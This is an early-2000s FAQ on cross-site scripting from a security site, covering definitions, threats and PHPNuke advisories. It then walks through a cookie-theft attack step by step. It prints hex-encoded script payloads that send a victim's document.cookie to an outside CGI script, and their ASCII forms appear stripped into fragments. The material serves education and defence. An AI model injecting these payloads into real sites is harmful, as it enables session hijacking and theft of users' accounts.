Article #2
admin@cgisecurity.com
"The Cross Site Scripting FAQ"
Revised: 7/02
Introduction
What is Cross Site Scripting?
What does XSS and CSS mean?
What are the threats of Cross Site Scripting?
What are some examples of cross site scripting attacks?
Can you show me what cookie theft looks like?
What can I do to protect myself as a vendor?
What can I do to protect myself as a user?
How common are CSS/XSS holes?
Does encryption protect me?
Can CSS/XSS holes allow command execution?
What if I don't feel like fixing a CSS/XSS Hole?
What are some links I can visit to help me further understand XSS?
Introduction
Websites today are more complex than ever, containing a lot of dynamic content making the
experience for the user more enjoyable. Dynamic content is achieved through the use of web
applications which can deliver different output to a user depending on their settings and needs.
Dynamic websites have a threat that static websites don't, called "Cross Site Scripting" (or XSS
dubbed by other security professionals). Currently small informational tidbits about Cross Site
Scripting holes exist but none really explain them to an average person or administrator. This
FAQ was written to provide a better understanding of this emerging threat, and to give guidance
on detection and prevention.
"What is Cross Site Scripting?"
Cross site scripting (also known as XSS) occurs when a web application gathers malicious data
from a user. The data is usually gathered in the form of a hyperlink which contains malicious
content within it. The user will most likely click on this link from another website, web board,
email, or from an instant message. Usually the attacker will encode the malicious portion of the
link to the site in HEX (or other encoding methods) so the request is less suspicious looking to
the user when clicked on. After the data is collected by the web application, it creates an
output page for the user containing the malicious data that was originally sent to it, but in a
manner to make it appear as valid content from the website.
"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with
Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site
Scripting as XSS. If you hear someone say "I found a XSS hole", they are talking about Cross Site
Scripting for certain.
"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash to fool a user (Read
below for further details), or gather data from them. Everything from account hijacking, changing
of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses
are being found every day for XSS attacks. The post below by Brett Moore brings up a good point
with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply
reads a post on a message board.
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPnuke. This product is often
targeted by attackers to probe for XSS holes because of its popularity. I have included a few
links of advisories/reports that have been discovered and disclosed just from this product alone.
The following collection should provide plenty of examples.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application some of the variables and positioning of the
injections may need to be adjusted. Keep in mind the following is a simple example of an
attacker's methodology.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check to see if it issues
cookies. If any part of the website uses cookies, then it is possible to steal them from its
users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will need to be done in
order to make the output believable. By inserting code into the script, its output will be
changed and the page may appear broken. (The end result is crucial and the attacker will have to
do some touching up in the code to make the page appear normal.) Next you will need to insert
some Javascript (or other client side scripting language) into the URL pointing to the part of
the site which is vulnerable. Below I have provided a few links that are for public use when
testing for XSS holes. These links below, when clicked on will send the users cookie to
www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie
then session hijacking of the user's account may be possible.
Cookie theft Javascript Examples.
A example of usage is below.
ASCII Usage:
http://host/a.php?variable=">
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.
1. ">
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69
%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2.
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74
%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72%69%70%74%3e
3. >